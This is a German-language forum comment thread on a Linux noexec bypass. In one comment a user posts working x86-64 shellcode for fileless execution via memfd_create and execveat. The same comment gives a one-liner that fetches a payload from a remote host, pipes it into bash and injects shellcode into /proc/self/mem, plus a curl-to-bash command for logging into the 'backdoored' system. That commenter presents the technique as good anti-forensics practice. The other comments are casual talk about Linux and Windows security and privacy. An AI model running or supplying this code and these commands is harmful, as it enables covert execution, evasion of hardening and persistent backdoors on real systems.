noexec-Bypass macht Linux-Systeme anfällig für Schadcode


Kommentare zu folgendem Beitrag: noexec-Bypass macht Linux-Systeme anfällig für Schadcode

Wäre es jetzt nicht an der Zeit über einen Wechsel zu Windows nachzudenken? (Retourkutsche - Ironie off) :rofl: :rofl: :rofl:

Der eigentliche Shellcode:

; nasm -felf64 memexec.nasm && ld memexec.o &&  ./a.out

global _start
section .text

_start:
    push    0x00676765  ; "egg"
    mov     rax, 0x13f
    mov     rdi, rsp    ; arg 1: name [egg]
    xor     rsi, rsi    ; arg 2: 0 = no MFD_CLOEXEC
    syscall
    mov     r8, rax

    mov     rax, 2
    mov     rdi, rsp    ; arg 1: name [egg]
    xor     rsi, rsi    ; arg 2: 0 = O_RDONLY
    syscall
    mov     r9, rax

loop:
    sub     rsp, 0x400
    xor     rax, rax    ; arg 0: read_NR
    mov     rdi, r9     ; arg 1: FD [egg]
    mov     rsi, rsp    ; arg 2: buffer
    mov     edx, 0x400  ; arg 3: length
    syscall

    cmp     rax, 0x00
    jle     done        ; EOF

    mov     rdx, rax    ; arg 3: length (from read()) 
    mov     eax, 0x01   ; arg 0: write_NR
    mov     rdi, r8     ; arg 1: FD [memfd]
    syscall
    jmp     loop
done:

    mov     rax, 322    ; arg 0: execveat_NR
    mov     rdi, r8     ; arg 1: memfd
    push    0x00        ; an empty string
    mov     rsi, rsp    ; arg 2: path (empty string)
    mov     rdx, rsp    ; arg 3: ARGV points to empty string
    xor     rcx, rcx    ; arg 4: ENV
    mov     r8, 0x1000  ; arg 5: AT_EMPTY_PATH
    xor     r9, r9      ; arg 6: must be clean
    xor     r10, r10    ; arg 7: must be clean
    syscall

    mov     rax, 60
    xor     rdi, rdi
    syscall

Die Bash fungiert nur als Inkubator für unseren Shellcode + Hintertür. Wir präsentieren die gleiche Funktionalität auch mit Perl oder PHP (die nicht auf cat, cut, base64 oder dd angewiesen sind). Darüber hinaus benötigt die Perl-Variante keinen Zugriff auf /proc/self/mem und funktioniert somit auch innerhalb von Containern). Die PHP-Variante eignet sich hervorragend für alle Web-Cloud-Anbieter, bei denen es keinen Shell-Zugriff und kein Ausführungsrecht gibt.

Warum sollte man nun jemals eine dateilose Ausführung benötigen?

  • Du hast keine Schreibberechtigung an irgendeiner Stelle auf dem Host.
  • Du hast die Berechtigung, an einen Speicherort zu schreiben, können aber nichts ausführen und die Userland-Ausführung (ulexec oder ld-linux.so) schlägt fehl. (noexec).
  • Bevorzugte tmpfs-Speicherorte wie /dev/shm wurden als noexec markiert.
  • Dies gilt im Allgemeinen als gute OpSec-/Anti-Forensik-Praxis, da deine Binärdateien einen Neustart nicht überstehen.

Der Ausführungstrick nutzt zwei separate Techniken, die von der Community entdeckt wurden.

  1. Erstellen eines speichergestützten Dateideskriptors: memfd_create syscall wird verwendet, um einen Dateideskriptor zu erstellen, der sich auf eine Datei bezieht, die sich vollständig im RAM befindet und nicht von einem dauerhaften Speicher abhängt. Dies kann verwendet werden, um (vorübergehend) Speichern Sie eine Datei, die wir ausführen möchten.
  2. Prozessabbild durch Schreiben in /proc/self/mem ändern : /proc/self/mem Bietet eine einfache Dateischnittstelle zum Prozessspeicher. Wir können diese nutzen, um beliebigen Shellcode in den Prozessspeicher zu schreiben. Um den Shellcode tatsächlich ausführen zu lassen, können wir einen Speicherort auswählen, der vom Anweisungszeiger gehalten wird , sodass die CPU die Ausführung des Prozesses fortsetzt Unser Shellcode wird ausgeführt.

Code Ausführung:

curl -fsSL https://thc.org/gs-demo.x86 \
| bash -c 'cd /proc/$$;exec 4>mem;base64 -d<<<SInlSIHsEgQAAEi4a2VybmVsAABqAFC4PwEAAEiJ50gx9g8FSYnAuAAAAAC/AAAAAEiJ5roABAAADwVIicJIg/oAfg+4AQAAAEyJx0iJ5g8F69S4QgEAAEyJx2oASInmagBUSIniSDHJTTHJTTHSQbgAEAAADwW4PAAAAL9jAAAADwU=|dd bs=1 seek=$[$(cat syscall|cut -f9 -d" ")]>&4'
# Then log in to your backdoored system with:
# S=SecretChangeMe bash -c "$(curl -fsSL https://gsocket.io/y)"

Weitere Infos und die Varianten für PHP / Perl:

https://iq.thc.org/bypassing-noexec-and-executing-arbitrary-binaries

Hehe! Ich musste zumindest schmunzeln, als ich das gelesen habe. :wink:

Immer wieder fasziniert, wenn neue Lücken/Bypass/Exploits/… gefunden werden… zum einen erschreckend, wenn es gegen einen verwendet wird aber gleichzeitig neugierig, wie man solche Methoden nutzen kann um Systeme zu öffnen und neue Wege zu finden.

Root-Rechte bei Android zu ermöglichen, Jailbreak für diverse Systeme aber auch um Open-Source bereitzustellen durch Reverse Engineering von geschlossenen/verlassenen Systeme, die man „eigentlich“ weiter benutzen kann.

Das ist gar nicht so abwegig… Man kann nämlich auch das falsche Linux verwenden und somit einer scheinbaren Sicherheit auf den Leim gehen… Auch Linux ist nicht perfekt.

https://www.privacyguides.org/en/os/linux-overview/

Da kann ja jeder mal selber für sich eitscheiden, ob er überhaupt die richtige Distro verwendet, aus dem Hintergrund heraus, dass er sich mit Linux sicher fühlt.

1 Like

Geht nicht die größere Gefahr von den Konzernen aus, die einen in die totale Abhängigkeit bringen, mit den Regierungen kooperieren (müssen), was die persönlichen Daten und Meinungsfreiheit betreffen? Dass mittlerweile Microsoft sogar gezielt die Systeme der Anwender per KI nach Informationen scannt, die gegen die AGB-Richtlinien von Microsoft vorstoßen, was dazu führen kann, dass man sämtliche Lizenzen an den Produkten von Microsoft verliert und die Daten an die Behörden weitergeleitet werden, empfinde ich als eine viel größere Bedrohung.
Und da die Integration von AI/KI in Windows wie auch die Anbindung in die Cloud immer weiter ausgebaut wird, wird die Abhängigkeit und der Kontrollverlust auch immer mehr. Gleichzeitig wird dem Anwender immer mehr die Privatsphäre und der Datenschutz genommen.
Das ist keine gute Entwicklung und trifft nicht nur auf Microsoft zu.

Linux ist aber da definitiv ein effizienter Gegenspieler unter dem Radar zu bleiben und nicht von der Datensammelwut von Konzernen abhängig gemacht zu werden.

Das hat natürlich gewaltiges Potenzial, keine Frage! Da es hier aber um pure Linux-Malware geht, weiß ich grad nicht, ob man das vergleichen sollte?
Wenn man es stupide durchrechnet, ist Linux halt das „sicherere System“, da es für dieses OS nur einen Bruchteil von Malware gibt, bezogen auf die Menge bei Windows. Man kann aber für die Zukunft davon ausgehen, dass Linux-Systeme da aufholen werden. Alleine schon, weil die Nutzer stetig mehr werden und somit für die Malware-Devs immer interessanter werden.
Letzten Endes ist es immer noch egal, welches OS man nutzt, wenn die brain.exe vollständig fehlt…